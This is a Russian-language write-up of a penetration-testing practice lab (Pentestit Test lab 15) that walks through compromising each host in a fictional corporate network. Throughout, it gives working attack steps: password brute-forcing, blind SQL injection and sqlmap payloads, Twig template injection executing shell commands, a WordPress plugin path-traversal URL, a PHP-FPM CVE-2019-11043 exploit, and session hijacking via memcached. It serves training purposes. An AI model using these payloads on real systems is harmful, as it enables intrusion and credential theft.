Test lab 15 writeup: как вам н0в1ч0к?
15-го марта 2021 г. мы запустили пятнадцатую по счёту лабораторию тестирования на проникновение Test lab под кодовым названием названием: Who is the n0v1ch0k?
На 12 день в режиме нон-стоп участнику BadBlackHat удалось первому скомпрометировать все узлы лаборатории. Для всех остальных, кто пытался, пытается и будет пытаться пропентестить Test lab 15, мы решили опубликовать ее прохождение.
Лаборатории Test lab — бесплатные площадки для проверки и закрепления навыков тестирования на проникновение, представляющая собой корпоративную сеть виртуальной компании из уязвимых и неуязвимых компонентов (серверов, сетевого оборудования и рабочих станций).
Итак, пришло время разобрать все задания Test lab 15, чтобы дать возможность тем, у кого не получается, глубже погрузиться в мир информационной безопасности и узнать для себя что-то новое. Содержание получилось довольно объёмным, но, надеемся, что интересным.
Статья носит информационный характер. Не нарушайте законодательство.
Подключение к лаборатории
Для подключения к лаборатории используем логин/пароль, полученные в личном кабинете. Там же находится инструкция для настройки OpenVPN соединения для Linux и Windows платформ. На момент написания статьи, 26 марта, было установлено более 500 уникальных подключений к VPN. При этом, только 124 участника смогли взять хотя бы один токен.
После подключения становятся доступны шлюзы 192.168.101.16 и 192.168.101.17, за которыми расположены остальные узлы лаборатории. Сканируем хост 192.168.101.16 на наличие открытых портов и находим только открытый 80 порт:
# nmap -sV 192.168.101.16
Результат
Через 192.168.101.16 можно взаимодействовать только с веб-приложением в виде сайта, но не ясно, что с ним делать, поскольку мы не имеем учетных данных для авторизации, а автоматические инструменты сканирования не дали ожидаемых результатов. Веб-приложение защищено с помощью Nemesida WAF, работу которого можно оценить на примере этого сайта. Если вызвать ошибку 404 или 50х, то появится кастомная страница, где указан e-mail, который мы записываем к себе.
Также на странице сайта есть адрес электронной почты info@test.lab. Сохраняем эти данные. Решив не тратить время на перебор паролей для этих пользователей, двигаемся дальше.
Сканируем хост 192.168.101.17 и находим открытые порты 143 и 8100. Это сервисы IMAP и HTTP, где есть форма аутентификации для пользователей.
# nmap -sV 192.168.101.17
Результат
Воспользовавшись инструментом Hydra начинаем перебор паролей для ранее найденных пользователей info@test.lab и support-web@test.lab, но подобрать удается только для последней учетной записи.
# hydra -l support-web@test.lab -P /usr/share/john/password.lst imap://192.168.101.17
Результат
Авторизуемся через веб-форму и попадаем в почту. Находим токен, jar-файл и конфигурационный файл для VPN, все сохраняем к себе.
Подключаемся с новой конфигурацией VPN и в журнале подключения видим добавление новых маршрутов на подсети:
# route
При сканировании подсети 10.0.4.0/24 находим только один доступный хост 10.0.4.251 с открытым 80 портом.
# nmap -sV 10.0.4.0/24
Результат
Также сканируем и другие сети:
# nmap -sV 10.1.4.0/24
Результат
Замечаем доступные хосты 10.1.4.20 и 10.1.4.250.
# nmap -sV 10.0.2.0/24
Результат
# nmap 10.1.0.0/24
Результат
VPN-2
Переходим по адресу 10.1.4.250 и видим стандартную страницу сайта, в коде которой ничего интересного обнаружить не удалось. Поиск директорий с помощью Dirb оказался безрезультатным. Поскольку сами задания предполагают поиск токенов, то попробуем использовать слово «token» в запросе. В результате скачивается файл, содержащий токен.
DNS
На хосте 10.1.4.10 открыт 53 порт, который используется сервисом Bind, то есть, это DNS-сервер. Используя имя домена сайта, составим команду для AXFR:
# dig axfr test.lab @10.1.4.10
Результат
где в выводе указаны IP-адреса других серверов в сети и забираем токен.
AD
Так как мы знаем, что 10.1.0.4 - это контроллер домена, то запустим enum4linux и попробуем получить какую-нибудь информацию о домене:
# enum4linux 10.1.0.4
Результат
Данные одного из пользователей содержат токен.
JAVA
Теперь разберемся с JAR-файлом, который нашли на почте. Открываем jar-файл как архив и открываем Main.class в IDE:
В коде видим данные для подключения к SSH к серверу 10.1.0.10, но указанный в коде пароль не подходит.
Видоизменяем код
Сохраняем файл и компилируем. Запустив его повторно получим корректные данные для подключения к серверу 10.1.0.10 по SSH:
# java -jar client_испр.jar
Вывод
Dev
На сервере 10.1.0.10 в директории /opt/token находим токен, а в папке scripts - скрипт, который должен создавать архив vpn.zip на этом же сервере.
Через htop отслеживаем время выполнения скрипта, проверяем содержимое директории и забираем архив, в котором находится еще один файл конфигурации для VPN. Подключившись с новой конфигурацией получаем доступ к серверам, которые ранее были для нас закрыты.
# route
Users
Просканируем сеть 10.0.2.0/24
# nmap -sV -Pn 10.0.2.0/24
Находим машины 10.0.2.2-10.0.2.5. Вероятно, это пользовательские машины, учетные записи которых мы нашли ранее. Открыт 22 порт SSH, поэтому будем подбирать пароль с помощью Hydra:
# hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://10.0.2.3
Результат
Получаем пароли от пользователей stepanova и ivanov. Авторизуемся с этими учетными данными на каждой машине и ищем какую-нибудь интересную информацию. На сервере 10.0.2.2 в домашней директории пользователя ivanov находим файл-контейнер от KeePass.
Как правило, они защищены паролем, но стандартный пароль от учетной записи не подходит. Исследовав сервер также находим установленный браузер Mozilla Firefox. Пользователи часто используют одни и те же пароли для различных сервисов. Попробуем найти пароль там.
Файл с паролями хранится в домашней директории пользователя:
~/.mozilla/firefox/
Имя файла, содержащего пароли, можно узнать отфильтровав параметр path из файла profiles.ini:
cat ~/.mozilla/firefox/profiles.ini | grep -i "path"
Получить данные можно использовав python скрипт FIREFOX_DECRYPT, клонируем проект с GitHub:
# git clone https://github.com/Unode/firefox_decrypt
При запуске скрипт спросит мастер пароль, но по умолчанию он пустой. Результатом работы скрипта будут сохраненные пароли.
Выводим данные:
# python firefox_decrypt.py
Вводим полученный пароль в файл-контейнер и разблокируем его, получив токен в одном из его полей.
Reverse
В директории пользователя leonov на сервере 10.0.2.4 обнаруживаем файл dehcip, который можно запустить, но он будет выдавать некорректные токен и приватный ключ.
$ ./dechip
Необходимо произвести реверс-инжиниринг файла для восстановления алгоритма его работы.
Для начала делаем дамп файла с помощью objdump:
objdump -S -t dechip > dechip.txt
Открываем полученный файл dechip.txt, видим там следующее:
Содержимое
Из Dechip.txt удаляем лишнее и оставляем читаемый код на C, чтобы более явно было видно алгоритм. Получаем следующее:
// My Bubble Sort
void bubble(elem_t *start, elem_t *finish){
elem_t swap_el, *swap_p;
int size = finish - start;
if (size <= 1) return;
for (elem_t *i = finish; i >= start; i--){
for (elem_t *j = start; j < finish-1; j++){
if (j->key > j[1].key){
swap_p = j+1;
swap_el = *swap_p;
*swap_p = *j;
*j = swap_el;
}
}
}
}
int main (){
int roundCounter = 0;
unsigned char tmp;
printf("Token:\n");
bubble(&token[0],&token[14]);
for (int i=0; i<15; i++){
printf("%c",token[i].value);
printf("\n\n");
printf("Key:\n");
printf("\n-----BEGIN RSA PRIVATE KEY-----\n");
printf("%s",firstLine);
printf("%s",secondLine);
roundCounter = 0;
for (int c=0; c<3200; c+=2){
if ( c % 128 == 0 ){printf("\n");}
tmp = (body2[c]%32 +9) % 25 *16 + (body2[c+1]%32 +9) %25;
tmp = tmp ^ token[roundCounter].value;
printf("%c",tmp);
roundCounter++;
if (roundCounter == 15) {
roundCounter = 0;
}
printf("\n");
printf("-----END RSA PRIVATE KEY-----\n");
return 0;
}
Из анализа кода можно сделать вывод, что использовалась собственная реализация сортировки “пузырёк” массива структур из 15 элементов вида {key, value}. После чего применялась операция битового исключающего ”или” (xor) к некоторому массиву. На основе полученных данных будем исправлять бинарный файл.
Анализируя реализацию алгоритма сортировки “пузырёк”, находим ошибку:
То есть, цикл доходит не до конца массива.
Создаем вспомогательную программу (в нашем случае назовем ее blanker.c) и сохраняем в файл:
#include <stdio.h>
typedef struct {
unsigned int value;
unsigned int key;
} elem_t;
elem_t key[15] = {{1,2},{1,2},{2,3},{4,5},{6,7},
{1,2},{1,2},{2,3},{4,5},{6,7},
{1,2},{1,2},{2,3},{4,5},{6,7}};
int main (){
elem_t a, *start, *finish;
start = &key[0];
finish = &key[14];
for (elem_t *i = start; i < finish-1; i++){
a.key = i->key;
a.value = i->value;
}
return 0;
}
Компилируем исходник:
gcc -O0 -g -o blanker blanker.c
А также создаем и компилируем файл с исправленной версией сортировки:
#include <stdio.h>
typedef struct {
unsigned int value;
unsigned int key;
} elem_t;
elem_t key[15] = {{1,2},{1,2},{2,3},{4,5},{6,7},
{1,2},{1,2},{2,3},{4,5},{6,7},
{1,2},{1,2},{2,3},{4,5},{6,7}};
int main (){
elem_t a, *start, *finish;
start = &key[0];
finish = &key[14];
for (elem_t *i = start; i < finish; i++){
a.key = i->key;
a.value = i->value;
}
return 0;
}
gcc -O0 -g -o blanker2 blanker.c
Создаем дамп обоих полученных исполняемых файлов:
objdump -S -t blanker > blank1.txt
objdump -S -t blanker2 > blank2.txt
Получается, чтобы скорректировать неправильный цикл, нужно скорректировать команду mov, убрать команду sub (например, перекрыть командой nop), команду cmp и условный переход jb.
Смотрим аналогичный код в программе dechip:
Данный хекс-код нужно привести к виду:
Для этого открываем исходный файл dechip в hex-редакторе и ищем в нём стартовую последовательность 48 83 45 e8 08:
Исправляем:
Сохраняем изменения в файле и запускаем. Результатом работы будет вывод корректного токена и приватного ключа.
# ./dechip_correct_rsa
VPN-1
По аналогии с заданием vpn-2 обращаемся по адресу 10.0.4.250/token и скачиваем файл с токеном.
News
К серверам 10.0.4.3, 10.0.4.4 и 10.0.4.12 доступ возможен только с определенных машин. Методом "проб и ошибок" выясняем, что обратиться к ним можно только через пользовательские машины 10.0.2.2-10.0.2.5. Пробрасываем туннель, используя sshuttle:
# sshuttle -r ivanov@10.0.2.3 10.0.4.0/24
Авторизуемся в системе с учетной записью пользователя ivanov с паролем для KeePass и открывается новостная лента.
Проверяем веб-приложение на наличие SQL-инъекций, но не получаем никакой видимой реакции на пейлоады. Тогда попробуем эксплуатировать Blind SQL-injection.
Проверяем простые условные выражения:
1' or 1=1 -- -
1' or 1=2 -- -
1' or sleep(10) -- -
Условные операторы выполняются и производится задержка в 10 секунд. Это значит, что можно говорить о наличии уязвимости. Теперь остается только подобрать правильный пейлоад для поиска токена в базе данных. К сожалению, автоматизировать процесс эксплуатации инъекции либо не получится, либо будет очень проблематично т.к. с каждым запросом изменяется название полей для пользовательского ввода.
Конечный пейлоад для проверки наличия того или иного символа будет выглядеть так:
may%' and if(substring((select token from token limit 1),1,1)='I',sleep(10),1); -- -
Изменяя позицию проверяемого символа и букву мы сможем проверить все варианты и составить токен.
Bugtracker
На сервере 10.0.4.3 обнаруживаем еще одно веб-приложение.
Смотрим какие cookie передаются в запросах. Есть PHPSESSID и logged — пока что просто запоминаем эту информацию.
Проверяем строку поиска на использование шаблонизаторов, основываясь на методе их определения:
Введя на последнем этапе {{7*'7'}} и получив результат 49 делаем вывод, что используется Jinga2 или Twig. Читаем документацию по шаблонизатору Twig и вводим команду в поисковой строке для получения текущего id пользователя:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Результат
Получаем id пользователя, но пока это ничего не дает. На основе тикетов выясняем, что для логинов в системе используется salt. Выполняем поиск в index.php по слову «salt» командой:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat index.php | grep 'salt'")}}
Результат
Помимо salt к логинам применяется двойное MD5 хеширование. Выполняем поиск по msalt в index.php. Строки нет и возможно переменная определена в другом файле. Производим поиск командами:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat index.php | grep 'include'")}}
Результат
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat index.php| grep 'require'")}}
Результат
Результат отрицательный. Попробуем последовательно искать подключаемые файлы:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat settings.php")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat configuration.php")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat config.php")}}
Результат
Последняя команда дает результат, что означает, что файл присутствует. Выполняем поиск $msalt по файлу config.php:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat config.php | grep 'msalt'")}}
Результат
Полученный salt TL2020 склеиваем с логином администратора bug.admin и дважды применяем MD5 хеширование:
echo -n 'TL2020bug.admin' | md5sum
echo -n 'e5dd5634ce279aabd853eb5b737b520f' | md5sum
Получившийся результат подставляем в cookie в параметр logged и обновляем страницу. Видим, что мы залогинены как администратор, а в имени находится токен.
ITNews
Заходим на сайт под пользователем stepanova и попадаем на страницу с записями и полями для их фильтрации. Не обнаружив на странице уязвимостей смотрим исходный код и замечаем подключаемые скрипты:
Изучив каждый из них, останавливаемся на /inc/script.js, где в самом конце присутствует самописный скрипт, генерирующий AJAX-запрос и указана страница /load_news.php:
Перейдя на страницу обнаруживаем, что на ней находится несколько записей:
Используя параметр search составляем запрос для SQLmap:
# sqlmap -u 10.0.4.4/load_news.php?search=* --dbms=PostgreSQL --cookie="PHPSESSID=6d2u26b67bs8v7on07j964jr0c" --tamper=between
Результат
Дампим содержимое таблиц:
# sqlmap -u http://10.0.4.4/load_news.php?search=* --dbms=postgresql --cookie="PHPSESSID=6d2u26b67bs8v7on07j964jr0c" --tamper=between --tables
Результат
И получаем токен.
Router
На хосте 10.0.4.20 открыт 161 UDP порт, предназначенный для протокола SNMP. Перебор community-строк для 1 и 2 версии SNMP не дал результатов, поэтому будем работать с v3. Особенность данного режима в повышенном уровне безопасности и 3 режимами аутентификации:
имя пользователя;
имя пользователя и пароль;
имя пользователя, пароль и пароль шифрования.
Для получения имени пользователя запускаем Patator. К статью, имя пользователя можно получить независимо от используемого режима безопасности:
# patator snmp_login host=10.0.4.20 version=3 user=FILE0 0=users.txt -x ignore:mesg="Unknown USM user"
Результат
Получаем имя пользователя Rafael.
Теперь запускаем инструмент SNMPWN, который будет одновременно перебирать пароль и пароль шифрования для указанного пользователя:
# ./snmpwn.rb --hosts hosts.txt --users users.txt --passlist passwords.txt --enclist passwords.txt
Результат
Кстати, этот инструмент может подобрать и имя пользователя, если указать в users.txt несколько логинов. Подобрав пароль и пароль шифрования используем SNMPwalk для получения информации о конфигурации роутера и токен:
# snmpwalk -v3 -u rafael -a SHA -A spiderman -x AES -X ChangeMe -l authPriv 10.0.4.20
Результат
Site
Ранее сайт у нас был доступен, но находился под защитой WAF. Теперь же, когда мы пробились в одну сеть к нему, мы можем пытаться искать и эксплуатировать уязвимости. Просканируем сайт с помощью whatweb, не забыв прописать 10.0.4.2 в /etc/hosts для обращения к сайту в обход WAF:
# whatweb 10.0.4.2
Результат
Узнали, что веб-сервер - Nginx 1.18 и CMS WordPress 5.6.1. Запускаем WPScan для поиска более подробной информации:
# wpscan --url http://10.0.4.2 --plugins-detection aggressive
Результат
Находим список плагинов, среди которых оказывается уязвимый backup-by-supsystic
Находим информацию о его уязвимости на exploit-db и используем эксплойт из описания для эксплуатации LFI. В результате скачивается файл /etc/passwd, где находится токен:
http://site.test.lab/wp-admin/admin.php?page=supsystic-backup&tab=bupLog&download=../../../../../../../../../etc/passwd
Результат запроса
Admin
Как в случае с заданиями News,Bugtrack и ITnews доступ на сервер возможен только с определенной машины - 10.0.2.4. Для подключения используем найденный в задании Reverse приватный ключ:
$ ssh leonov@10.1.0.2 -i /tmp/ghost
Подключение к серверу
В домашней директории пользователя находим токен.
VoIP
Также на сервере находим некий дамп в директории /opt и копируем его к себе для анализа. Анализируем дамп:
$ tcpdump -r /root/dump -A
Просмотр через tcpdump
И обнаруживаем упоминание IP-телефонии Asterisk. Теперь откроем этот дамп с помощью Wireshark и перейдем в раздел телефонии, где сможем прослушать телефонный разговор и получить токен.
FPM
Попав на сервер 10.1.0.2 нам стали доступны еще несколько хостов. В частности 10.1.0.3. При помощи NetCat просканировали открытые порты сервера командой:
nc -vnz 10.1.0.3 1-65536 2>&1 | grep -v 'timed out'
В итоге обнаружили 2 открытых порта - 80 и 6001.
Выполним проброс до удаленной машины последовательными командами:
sshuttle -r ivanov@10.0.2.4 10.1.0.0/24
ssh -L 80:10.1.0.3:80 leonov@10.1.0.2 -i /root/ghost
где /root/ghost - сертификат, полученный в задании Reverse. Обратимся к сайту и видим, что сайт на профилактике:
Попытка фаззинга директорий через Dirb ни к чему не приводит. Похоже, что на этом сайте ничего интересного нет. Пробросим порт 6001 и посмотрим что там:
sshuttle -r ivanov@10.0.2.4 10.1.0.0/24
ssh -L 6001:10.1.0.3:6001 leonov@10.1.0.2 -i /root/ghost
Во время сканирования сайта с помощью Dirb был найден файл index.php. Это означает, что сайт работает в связке Nginx+PHP-fpm. Поэтому можно предположить, что порт 6001 обслуживает сервис PHP-fpm, хотя и не является стандартным для него. В этом случае можно проверить уязвимость CVE-2019-11043, выполнив скрипт:
# python fpm.py 127.0.0.1 /var/www/html/index.php -c "<?php system('ls /var/'); ?>"
Результат
Получив положительный результат можно пробовать искать токен:
Токен представлен в виде картинки, что явно неспроста. Сохраним картинку для дальнейшего исследования. Дополнительно на сервере можно найти дамп testlab.cap.
Wireless
Откроем testlab.cap с помощью Aircrack-ng:
# aircrack-ng testlab.cap -w /usr/share/wordlists/rockyou.txt
Результат
Выбираем сеть Testlab и ожидаем окончания работы инструмента
WITH?
Изучаем картинку, которую скачали, выполняя задание FPM. Дополнительной информации, кроме размера у нее нет, поэтому предположим, что здесь применялась стеганография. Cкачиваем пакет с Github для исследования стеганографических надписей и применяем к нашей картинке:
# python2 steganography.py -d /root/token.jpg
Результат
В выводе получаем токен.
Elastic
При исследовании сервера Admin (10.1.0.2) в .bash_history видим подозрительный curl-запрос к хосту 10.1.4.5. Пробрасываем этот порт на локальную машину:
# ssh -L 9200:10.1.4.5:9200 leonov@10.1.0.2 -i /root/ghost
Создание туннеля
И обращаемся в браузере к сервису Elastic, но для начала требуется пройти аутентификацию. Судя по всему используется basic auth. Имя пользователя у нас известно bj_smith, а пароль подобрать не будет проблемой:
# patator http_fuzz auth_type=basic url=http://127.0.0.1:9200 user_pass=FILE0:FILE1 0=combos.txt 1=/usr/share/wordlists/rockyou.txt -x ignore:code=401
Результат
получаем список индексов:
Видим 2 индекса documents и documents2. Запрашиваем содержимое:
http://127.0.0.1:9200/documents/_search?pretty
Результат запроса
Получаем первые 10 записей. Предполагаем, что токен находится в поле text, но содержит не только буквы но и цифры. Составим curl-запрос, которым будем искать совпадения в цифрах для поля "text". На цифре 3 получили нужный результат в виде токена:
# curl -u bj_smith -XGET "127.0.0.1:9200/documents/_search?pretty" -H 'Content-Type: application/json' -d '{ "query": {"query_string": {"query": "*3*", "default_field": "text"} } }'
Результат
API
На сервере 10.0.4.11, доступный через сервер 10.1.0.2 (Admin) доступен 80 порт. Выполним проброс на локальную машину и изучим веб-приложение:
# ssh -L 80:10.0.4.11:80 leonov@10.1.0.2 -i /root/ghost
Создание туннеля
Попробуем просканировать веб-приложение с помощью Dirb:
# dirb http://127.0.0.1
Результат
Ничего не нашли, но если дополнить ключом -w, то мы будем игнорировать предупреждения:
# dirb http://127.0.0.1 -w
Результат
Это помогло найти страницу auth, которая уже не отвечает с кодом 403. Получается, найдена страница аутентификации. Запросы отправляются методом GET, поэтому пробуем подобрать параметр для аутентификации через GET-параметр:
http://127.0.0.1/auth?user=admin
127.0.0.1/auth?username=admin
Что-то нашли, но ничего существенного это пока не дало. Попробуем проверить параметр username на sql-инъекции. Теперь дампим таблицы и ищем токен:
# sqlmap -u http://127.0.0.1/auth?username=* --dbs --tamper=space2comment -D public --tables
Результат
# sqlmap -u http://127.0.0.1/auth?username=* --dbs --tamper=space2comment -D public -T auth --dump
Результат
Произведя base64-декодирование токена получаем ответ "YYaaYYaaFF".
GIT
С сервера 10.1.0.2 также есть доступ к 2 последним заданиям - GIT и cabinet, начнем с первого. Выполним проброс на локальную машину последовательными командами:
sshuttle -r ivanov@10.0.2.4 10.1.0.0/24
ssh -L 80:10.1.4.3:80 leonov@10.1.0.2 -i /root/ghost
Открывается главная страница, где мы авторизуемся под учетной записью пользователя stepanova и изучаем репозиторий:
В репозитории обнаруживаем исходный код JAVA-приложения для задания JAVA:
Но в одном из коммитов обнаруживаем токен, которым является измененный пароль от SSH.
Cabinet
С сервера 10.1.0.2 просканируем наш хост и обнаружим открытые порты 22 и 80. Выполним проброс на локальную машину последовательными командами:
sshuttle -r ivanov@10.0.2.4 10.1.0.0/24
ssh -L 80:10.1.4.3:80 leonov@10.1.0.2 -i /root/ghost
Авторизуемся в системе под учетной записью пользователя ivanov и попадаем на страницу с таблицей:
Сканирование веб-приложения с помощью Dirb результатов не дает:
На сайте больше ничего интересного обнаружить не удалось. Попробуем подключиться к серверу по SSH одним из пользователей. Удается это сделать под учетной записью leonov.
$ netstat -lnp
смотрим открытые порты и находим сервис с открытым портом 11211:
$ systemctl status -all
Узнаем, что порт используется сервисом memcached. Обращение к порту 11211 осуществляется только с адреса 127.0.0.1. Обратимся через telnet и выполним команду stats items для вывода статистики:
$ stats items
Вывод команды
Теперь запросим дамп кэша:
$ stats items cachedump 1 100
Вывод команды
Смотрим, что одно из значений присваивается для текущего пользователя в параметре session в cookie. Вероятно, это идентификатор сессии. Проверяем их в браузере, подставляя каждый из них по очереди в параметр session:
Обновляем страницу и с одним их них видим на странице токен:
На этом прохождение Test lab 15 завершено, спасибо, что дочитали до конца.
P.S.
Если все это показалось слишком сложным и хотите на практике разобраться, как это работает — пройдите Zero Security: A или Корпоративные лаборатории Pentestit - программы практической подготовки в области информационной безопасности нашей компании. До встречи в новой Test lab!